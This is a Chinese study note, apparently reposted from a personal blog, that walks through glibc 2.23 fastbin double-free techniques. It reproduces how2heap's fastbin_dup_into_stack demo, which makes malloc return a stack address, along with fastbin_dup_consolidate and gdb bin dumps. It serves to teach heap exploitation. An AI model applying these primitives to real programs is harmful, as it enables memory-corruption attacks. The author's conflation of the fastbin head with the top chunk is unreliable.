本文主要是介绍关于如何理解Glibc堆管理器(Ⅲ——从DoubleFree深入理解Bins),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
本篇实为个人笔记,可能存在些许错误;若各位师傅发现哪里存在错误,还望指正。感激不尽。
若有图片及文稿引用,将在本篇结尾处著名来源。
目录
环境与工具:
搭建调试环境:
fastbin_dup_into_stack:
调试阶段:
fastbin_dup_consolidate:
引用:
环境与工具:
Ubuntu16.4 / gcc / (gdb)pwn-dbg
范例:howtoheap2
搭建调试环境:
git clone https://github.com/shellphish/how2heap.git
cd how2heap
make
对于GitHub可能速度过慢的情况,可以尝试使用Gitee拷贝仓库,再从Gitee处克隆仓库
fastbin_dup_into_stack:
我们有必要使用glibc2.23版本下的环境来进行这种调试。在更高版本中,已经修复了这个漏洞。这当然对系统来说是好事,但对于试图理解其原理的学习者来说,少一些限制往往能够更加快速的理解。
如下为源代码:(我并未做出删减,以方便让说明与调试过程相统一)
#include <stdio.h>
#include <stdlib.h>int main()
{fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n""returning a pointer to a controlled location (in this case, the stack).\n");unsigned long long stack_var;fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);fprintf(stderr, "Allocating 3 buffers.\n");int *a = malloc(8);int *b = malloc(8);int *c = malloc(8);fprintf(stderr, "1st malloc(8): %p\n", a);fprintf(stderr, "2nd malloc(8): %p\n", b);fprintf(stderr, "3rd malloc(8): %p\n", c);fprintf(stderr, "Freeing the first one...\n");free(a);fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);// free(a);fprintf(stderr, "So, instead, we'll free %p.\n", b);free(b);fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);free(a);fprintf(stderr, "Now the free list has [ %p, %p, %p ]. ""We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);unsigned long long *d = malloc(8);fprintf(stderr, "1st malloc(8): %p\n", d);fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));fprintf(stderr, "Now the free list has [ %p ].\n", a);fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n""so now we are writing a fake free size (in this case, 0x20) to the stack,\n""so that malloc will think there is a free chunk there and agree to\n""return a pointer to it.\n", a);stack_var = 0x20;fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}
调试阶段:
test@ubuntu:~/how2heap/glibc_2.23$ gdb fastbin_dup_into_stack
gdb-peda$ b 14
Breakpoint 1 at 0x40071d: file glibc_2.23/fastbin_dup_into_stack.c, line 14.
gdb-peda$ b 23
Breakpoint 2 at 0x4007bc: file glibc_2.23/fastbin_dup_into_stack.c, line 23.
gdb-peda$ b 29
Breakpoint 3 at 0x400806: file glibc_2.23/fastbin_dup_into_stack.c, line 29.
gdb-peda$ b 32
Breakpoint 4 at 0x40082f: file glibc_2.23/fastbin_dup_into_stack.c, line 32.
gdb-peda$ b 36
Breakpoint 5 at 0x40086a: file glibc_2.23/fastbin_dup_into_stack.c, line 36.
gdb-peda$ run
可以在如上位置下断点,然后开始调试程序。
通过continue和n运行到24行,也就是第一次执行free函数的位置,输入bins可以查看当前bins中的内容
gdb-peda$ bins
fastbins
0x20: 0x603000 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
可以看见,此时,fastbins中已经有了第一个节点。继续往下,直到第二次free结束时
gdb-peda$ bins
fastbins
0x20: 0x603020 —▸ 0x603000 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
可以看见,此时第二个节点也挂进fastbins链表的头部了。继续往下调试,直到第三个free函数被执行:
gdb-peda$ bins
fastbins
0x20: 0x603000 —▸ 0x603020 ◂— 0x603000
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
gdb-peda$ heap
0x603000 FASTBIN {prev_size = 0x0, size = 0x21, fd = 0x603020, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21
}
0x603020 FASTBIN {prev_size = 0x0, size = 0x21, fd = 0x603000, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21
}
0x603040 FASTBIN {prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x20fa1
}
0x603060 PREV_INUSE {prev_size = 0x0, size = 0x20fa1, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0
}
可以看见,此时堆中的两个chunk在FastBins的链表中形成了一个闭环。
这是一个非常反直觉的行为,因为我们执行了两次free(a),并且系统并没有报错
(注:笔者在Kali2021版本中以相同代码进行调试则会出现报错,在该版本中已经存在Tcache Bins,示例中的free函数会将chunk放入Tcache Bins中而不是Fast Bins,因此调试失败)
联系上一章内容,Fast Bins中的chunk并不是真正处于释放状态,因此系统在执行free函数的时候检查当前chunk的状态时会发现它仍然在被使用,因此我们可以多次进行free(a)的操作而不出现错误
但这并不意味着系统不会做出检查:下方代码摘自ctf-wik,有删减
/* Lightweight tests: check whether the block is already thetop block. */// 当前free的chunk不能是top chunkif (__glibc_unlikely(p == av->top)) {errstr = "double free or corruption (top)";goto errout;}// 当前要free的chunk的使用标记没有被标记,double free/* Or whether the block is actually not marked used. */if (__glibc_unlikely(!prev_inuse(nextchunk))) {errstr = "double free or corruption (!prev)";goto errout;}
根据注释可知,free函数的检查只判断当前目标是否处于Top chunk,也就是链表的头部。由于我们free(b)的执行,此时Top Chunk为chunk b,并且由于处在Fast Bins中,因此也绕过了第二个检查,所以成功对 a 进行了两次free操作
接下来的内容请根据如下代码进行调试:
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
int main()
{int *a = malloc(8);int *b = malloc(8);free(a);free(b);free(a);int *c = malloc(8);int *d = malloc(8);int *e = malloc(8);int *f = malloc(8);return 0;
}
gcc -g heap2.c -o heap2
gdb heap2
b 13
run
我删处了很多不必要的说明以方便我们更加直观的看到DoubleFree的效果
直接运行到第13行,并且完成接下来的四次malloc操作:
───────────────────────────────[ SOURCE (CODE) ]────────────────────────────────
In file: /home/giantbranch/Desktop/class/heap2.c8 int *a = malloc(8);9 int *b = malloc(8);10 free(a);11 free(b);12 free(a);► 13 int *c = malloc(8);14 int *d = malloc(8);15 int *e = malloc(8);16 int *f = malloc(8);17 return 0;18 }
当我们运行到第17行时再查看如下变量:
gdb-peda$ p c
$5 = (int *) 0x602010
gdb-peda$ p d
$6 = (int *) 0x602030
gdb-peda$ p e
$7 = (int *) 0x602010
gdb-peda$ p f
$8 = (int *) 0x602030
我们发现,不论怎么申请都只会得到这两个地址了。它们交错出现,只要我们申请的内存能够从这个Bin中取出,那么我们现在就只能得到这两个地址了。
从malloc的角度来说,它会取出Bins的第一个节点,并将其他节点往上挂入头节点中。
而在回环的链表中,取出第一个节点后,第二个节点成为新的第一个节点,而新的第二个节点则又是第一个节点(这样说十分绕口,建议手动调试一下),因此没办法像平常操作那样取出目标了
而从这个出现顺序也能够猜出,Fast Bins是先进后出的结构
fastbin_dup_consolidate:
我没有使用范例给出的程序,而是自己写了更加方便调试的类似的代码
#include <stdio.h>
#include <stdlib.h>int main()
{void* p1 = malloc(0x40);void* p2 = malloc(0x40);free(p1);void* p3 = malloc(0x400);free(p1);void* p4 = malloc(0x40);void* p5 = malloc(0x40);
}
同样编译后运行到第9行,此时的bins:
gdb-peda$ bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x602000 ◂— 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
此时,chunk p1已经被放入Fast Bins中,当我们再次申请一块超出Fast Bins能够服务的chunk时,即执第9行代码:
gdb-peda$ bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x50: 0x602000 —▸ 0x7ffff7dd1bb8 (main_arena+152) ◂— 0x602000
largebins
empty
发生了合并consolidate,并将chunk p1送入Small Bins中,。继续往下执行第10行:
gdb-peda$ bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x602000 ◂— 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x50 [corrupted]
FD: 0x602000 ◂— 0x0
BK: 0x602000 —▸ 0x7ffff7dd1bb8 (main_arena+152) ◂— 0x602000
largebins
empty
第11行:
gdb-peda$ bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x50 [corrupted]
FD: 0x602000 ◂— 0x0
BK: 0x602000 —▸ 0x7ffff7dd1bb8 (main_arena+152) ◂— 0x602000
largebins
empty
第12行:
gdb-peda$ bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
这个实际结果与上一章所述相同。在第12行代码中,堆管理器检查Small Bins发现可用,分割该chunk分配给 p5,并将该chunk取出Bins。
引用:
https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/implementation/free/#_3
这篇关于关于如何理解Glibc堆管理器(Ⅲ——从DoubleFree深入理解Bins)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!